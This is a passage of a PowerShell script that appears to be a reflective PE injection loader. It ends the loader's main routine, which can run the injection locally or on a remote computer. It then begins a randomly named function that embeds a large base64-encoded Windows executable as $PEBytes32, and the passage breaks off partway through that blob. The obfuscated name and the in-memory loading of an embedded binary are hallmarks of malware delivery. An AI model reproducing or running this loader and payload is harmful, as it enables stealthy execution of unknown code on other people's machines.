  2738.     else
  2739.     {
  2740.         $ExeArgs = "ReflectiveExe"
  2741.     }
  2742.  
  2743.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2744.     {
  2745.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2746.     }
  2747.     else
  2748.     {
  2749.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2750.     }
  2751. }
  2752.  
  2753. Main
  2754. }
  2755.  
  2756. function Invoke-WPGPLHJSVPEOZPOJBAXMJ
  2757. {
  2758.  
  2759. $PEBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAECANEmWl0AAAAAAAAAAOAADwELAQECALgCAAAgAAAAAAAA34YAAAAQAAAA0AIAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAADwAgAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJjqAgCMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAEAAIgAAAAA6gIAmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA+rYCAAAQAAAAuAIAAAQAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAGweAAAA0AIAACAAAAC8AgAAAAAAAAAAAAAAAABAAADAw56mVTgAAACg2ltKRQAAAETiYVJRAAAAOMrnTF4AAAAOYmNVawAAAOKDOlV4AAAAAAAAAAAAAABrZXJuZWwzMi5kbGwAbXNpbWczMi5kbGwAaW1hZ2VobHAuZGxsAHdpbnNwb29sLmRydgBhZHZhcGkzMi5kbGwAY29tY3RsMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABdAACJAAAAAAAAAAAAAAAAAAAAAAAAAAAAEwAAlgAAAAAAAAAAAAAAAAB2AAAAACYAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAALdvAAAAAAAABwAAAABwAAAAAAAAAAAAZwAAnAAAAAAAAAB2AABAAAAAAAAAAAA1AJEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyAAAAAAAAAAAAAAAAAAAAAEoAAAAAlQAAAAAAAAAAAAAAAAAAAAAAAAAAbQAAAAAAAAAAAAAAAEsAAAAAAAAAQeoAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxAAAAAAAAAAAAAAAAPwAAAACWAEcAAACOAAAAJQAAAAAAAAAAAAAAAAAAAAAAdAAAAAAAAAAAJAAAAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhwAAAAAAAAClAAAcAAAAAAAAAAAAAFIAAAAAAAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEAAAAAAAAA4gAAAAC6vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACRAAAAAAAAAAAjAAAAAAAAAAAAAAAAAPwAAAAAAAB8AAAAAAAAAAAAAAAAAAAAAAAApQBRAAAAAAAAAAAAAAAANACaAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAKEAAAAAAAAA9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACFAAAAAKAAAAALAAAAAAAAAAAAAADKAAAAAAAAAAAAAAAAAAAAAAAAhADTAJUAwgAAAAAAAAAAAADuAAAAAAAAAAAAnwAAAAAAAAAAAAAAAADyAAAAAAAAAAAAAAAAAACfAAAAAAAAVQAAAAAAAAAAAACWAyEAAAAAAAAAAFN9AAAAAAAAAAAAmgAAAAAAAAAAAAAAALYAAAAAAAAAAAAAAAAAnwAAAAAlAAAAMQAAAOwA6QApAAAAAP4AAAAAAAAAAAAAkAAAAAAAUQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAAAAAAAAAAAAAAAJwAAAAAAAAAAOgAAAADmVwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8wCLAOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZwB/AAAAAAAAOQAAAAAAAAAAAAAtAAAAAAAAAAAAAAAAAAAAAACMAAAAAAAAAEwAAAAAAAAATwAAAAAUAAAAAAAAAAAANwAAAAAAAAAAAAAAAAAAAAAAAACHALYAAAAAAADcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAAAAAAAAAAAJAAB3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAewAAAAAAAAAAAAAAAACfAAAAAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAAAAALcAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAArR4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlgAAAAAAAAAAAACUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAcgAAAAAAAAAAAAAAAAAAAAAAAACcAAAAAAAAAAAAAAAAAAAKAAAAAAAAaQB9AAAAAADWAAAAgQAAAAAAAOQAAAAAAAAAAAAAAAAAAG8AAADOAAAKmwAAfwAAAAAAAAAAAAAAAAAAAGQA+AAAFgAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAADcAAAAAAAAAAAAAAJwAAAAAAFmpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPwAAAAAAAAAAACuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN8AAAAAYAAAAAAAANQAPQAAAAAAAAAAAL8AYwAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAE3tAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAhgAAAAAAAAAAAAAAAAAAAAAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAAAAAAAAkQAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAACqAADKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANYAAAAAAAAAAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAxgAAAAMAAAAAAAAAAAAAAAAAABMAAAAAAAAAAAAAAADTAAAAAAAAAAAAAACZAAAAAACzAAAAdQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUlwAAAAAAAD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAAAAAABAAAAAAAAAAAAAAKYAAAAAAAAAAGAAAACNAAAAAAAAAAAAAACHAAAAvAAAAAAAAAAAAAAAAKkAAAAAAAAAAAA5AAAAAAAAAAAARgAAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOAAAAAAAAAACrAAAYAAAAALwAAAAAAE0AAAAAAQAAAAAAPAAAAEgAXAAAAAAAAAAAAAAAAADh3AAAAAAA7QAAAAAAAAAAAAAAFQAAAAAAZQAAAAAAAJIAAAAAAFUAAAAABQAACAAAAAAAAAAAAIQAAQAAAAAAAAAAAAEAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAxAAAAmAAAAAAAAAAAAAAAAAAAAABvAAAAAAAAAAAAAAAAAP4AAAAAALQAAAAAAAAAowAAAAAAAEIAAAB6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI8AAAAAAAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAADClAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGAAAAAA8AAAAAAAAAAAAAzAAAAAAAAAAAAAAAAAAAbQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACVAAAAAEMAAAAAAGkAAAAABAAAAAAAAAAAAAAAAAAAAAAAAADkAAAAAAAAAAAAAAAAAAAAABIAAAAAAAC9AAAAAACqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRAAAAAAAAAAAAAABZAJQAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAIUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAAAAAAAAAAAbAAAAAAAAAAAAAAAAAAAAAAAALk1AACkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7wwAAAAAAAAAAAF0A/gAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AogAAAAAAAAAAAAC8APkhABUAAAQAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAANIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQAUgAAAADfAAAAAAAAAAAAAAAAAACIAAAAcgAAAAAAAAAAAG4AAAAAAAAAAAAAAAARAAAAAACubQAAAAAAAAAAAAAAAACRAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAB7AAAAAAByAAAAAAAAAAAAAAC/AAAAAAAAAAAAAAAAvgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNAAAAAAAAFQAAAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRADIAAAB+AAAASQAAAAAAAAAAAAAAAAAA5AAAABAAAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzAAAAAAAAAAAAJwAAAAAAAAAAAAC5AAAAAAAAAAAAAAAAMwAAAAAAAAAAAAAAAAAAAAAAAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmAAAAAAAAAAAAAAAAAAAAANIAKgAAAAAAAAAAALoAAAAAAAAAAAAAXwAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAsAAAAAGEAAAAAAAAAAAAAAAAAAAAAAAB+AAAA2gAAAAAAfQAASAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAHAAAAAJ4AAAD2AAAAAAAAAAAAACsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAAAAAAABiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADcAAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAAAAAAAC8IAAAA8wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAA8wAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAPcAAAAAAAAAeQAAAAAAAAAAAAAAAAAAAAAAAAAARwAAAAAAWQAAAAAA5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwpUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAA9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAGgAPAAAAAAAAHkAAAAAAAAAAAAAAAAAAAAA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AAAAvQAAAAAAAAAAAAAAAAAAAAAAAAAAoQAAAAAAAAAAAAAAjCsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAABRAAAAAAAAAAAApAAAAAAAAAAAAAAiAAAAAABfAAAAAAAAAFoAAAAAAAAAAAAAAAAAABMAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAAAAAA2bgAAAAA8wAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAA+AAAABQAAAAAAAAAAFkAAAAAAAAAAAAAAAAAAAAAAAAAAADyAAAAAAAAeAAAAAAAAAAAAAAAsAAAAAAAAAAAAAAAAAAPAAAAAEMAAAAAAAAAMscAAAAAAAAQAAAAAAARAAAAAAAAbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AB2AAAAAAAA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAACPAAAAAAAA/ACpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACzAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGAAAAAABNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAACcAAAAAAAAAAAAAAAAAhwAAAAAAAAAAAHMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALkAAAAAvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD5AAAAAAAAAAAALwAAAAAAAAAAAAAAAAAA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